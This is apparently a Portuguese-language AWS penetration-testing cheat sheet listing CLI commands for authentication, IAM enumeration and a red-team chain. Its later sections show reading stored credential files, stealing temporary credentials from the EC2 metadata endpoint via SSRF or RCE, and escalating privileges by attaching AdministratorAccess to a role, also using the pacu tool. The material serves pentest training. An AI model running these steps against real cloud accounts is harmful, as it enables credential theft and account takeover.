



LTH

LTX Security



PENTEST EM AWS CHEAT SHEET

Autenticação no portal de gerenciamento da AWS

IAM Root User's credential [Username + Password] - Long Term Access

```
https://console.aws.amazon.com/
```

IAM User's credential [Username + Password] - Long Term Access

```
https://console.aws.amazon.com/
```

SSO User's credential [Username + Password] - Long Term Access

```
https://Org-Name.awsapps.com/start
```

Autenticação AWS usando AWS CLI

- Long Term : Access Key ID + Access Key Secret
- Short Term : Access Key ID + Access Key Secret + Session Token

Programmatic Access (Access Key ID + Access Key Secret)

```
aws configure --profile atomic-nuclear
```

Obtendo informações sobre a identidade configurada

```
aws sts get-caller-identity --profile profile-name
```

Programmatic Access (Access Key ID + Access Key Secret + Session Token)

```
aws configure
```

Obtendo informações sobre a identidade configurada

```
aws sts get-caller-identity --profile profile-name
```

AWS CLI Stored Credentials

```
# Windows  
C:\Users\UserName\.aws  
  
# Linux  
/home/UserName/.aws
```

Conteúdo das credenciais armazenadas

```
cat credentials
```

CLI Based Enumeration

Users

Lista de usuários IAM

```
aws iam list-users
```

Lista de grupos que um usuário IAM específico faz parte

```
aws iam list-groups-for-user --user-name [user-name]
```

Lista todas as manages policies que estão anexadas a um usuário IAM específico

```
aws iam list-attached-user-policies --user-name [user-name]
```

Lista os nomes das inline policies embutidas a um usuário específico

```
aws iam list-user-policies --user-name [user-name]
```

Groups

Lista de grupos IAM

```
aws iam list-groups
```

Lista todos os usuários em um grupo

```
aws iam get-group --group-name [group-name]
```

Lista todas as managed policies anexadas a um grupo específico

```
aws iam list-attached-group-policies --group-name [group-name]
```

Lista o nome das inline policies embutidas em um grupo específico

```
aws iam list-group-policies --group-name [group-name]
```

Roles

Lista de IAM Roles

```
aws iam list-roles
```

Lista todas as managed policies que estão anexadas a uma role específica

```
aws iam list-attached-role-policies --role-name [ role-name]
```

Lista o nome das inline policies embutidas em uma role específica

```
aws iam list-role-policies --role-name [ role-name]
```

Policies

Lista todas as IAM policies

```
aws iam list-policies
```

Pega informações sobre uma managed policy específica

```
aws iam get-policy --policy-arn [policy-arn]
```

Lista informações sobre a versão de uma manage policy específica

```
aws iam list-policy-versions --policy-arn [policy-arn]
```

Traz informações sobre a versão específica de uma policy específica

```
aws iam get-policy-version --policy-arn policy-arn --version-id  
[version-id]
```

Traz o documento da inline policy especificada que está embutida em um usuário/grupo/role específico

```
aws iam get-user-policy --user-name user-name --policy-name [policy-  
name]  
aws iam get-group-policy --group-name group-name --policy-name  
[policy-name]  
aws iam get-role-policy --role-name role-name --policy-name [policy-  
name]
```

Red Team Ops em AWS Cloud

Configuração inicial das credenciais de usuário comprometidas

```
aws configure --profile auditor
```

Enumerando serviços de Cloud: EC2, S3, etc.

```
aws ec2 describe-instances --profile auditor
```

Explorando aplicativo voltado para o público em execução na instância do EC2 e recuperar credenciais temporárias

```
curl  
http://52.169.215.96/latest/meta-data/iam/security-credentials/jump-  
ec2-role
```

Note: Cloud meta-data podem ser obtidas explorando apps web com vulnerabilidades

- SSRF

- RCE

Configurando e validando credenciais temporárias no AWS CLI

```
aws configure set aws_access_key_id [key-id] --profile ec2
aws configure set aws_secret_access_key [key-id] --profile ec2
aws configure set aws_session_token [token] --profile ec2
aws sts get-caller-identity --profile ec2
```

Traz a managed policy associada a instância da EC2

```
aws iam list-attached-role-policies --role-name jump-ec2-role --profile auditor
```

Traz o documento da inline policy específica que está embutida no role da instância da EC2

```
aws iam list-role-policies --role-name jump-ec2-role --profile auditor
```

Busca permissões na inline policy

```
aws iam get-role-policy --role-name jump-ec2-role --policy-name
jump-inline-policy
--profile auditor
```

Escalação de privilégios anexando a política de administrador para o próprio usuário

```
aws iam attach-role-policy --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess --role-name jump-ec2-
role --profile ec2
```

Novamente, checando a managed policy anexada à instância da EC2

```
aws iam list-attached-role-policies --role-name jump-ec2-role --profile auditor
```

Red Team Ops com a ferramenta “pacu”

Configurando chave de acesso inicial no pacu

```
set_keys
```

Permissões do usuário logado

```
exec iam__enum_permissions  
whoami
```

Enumerando instância da EC2 e pegando o IP público

```
exec ec2__enum  
data EC2
```

Configurando credencial temporária para a role associada à instância EC2

```
set_keys
```

Pegando permissões da role atualmente logada

```
exec iam__enum_permissions  
whoami
```

Enumerando permissões para escalção de privilégios e explorando elas

```
exec iam__privesc_scan
```

Novamente checando as permissões da role que foi escalada

```
exec iam__enum_permissions  
whoami
```





LTx Security

Segurança Ofensiva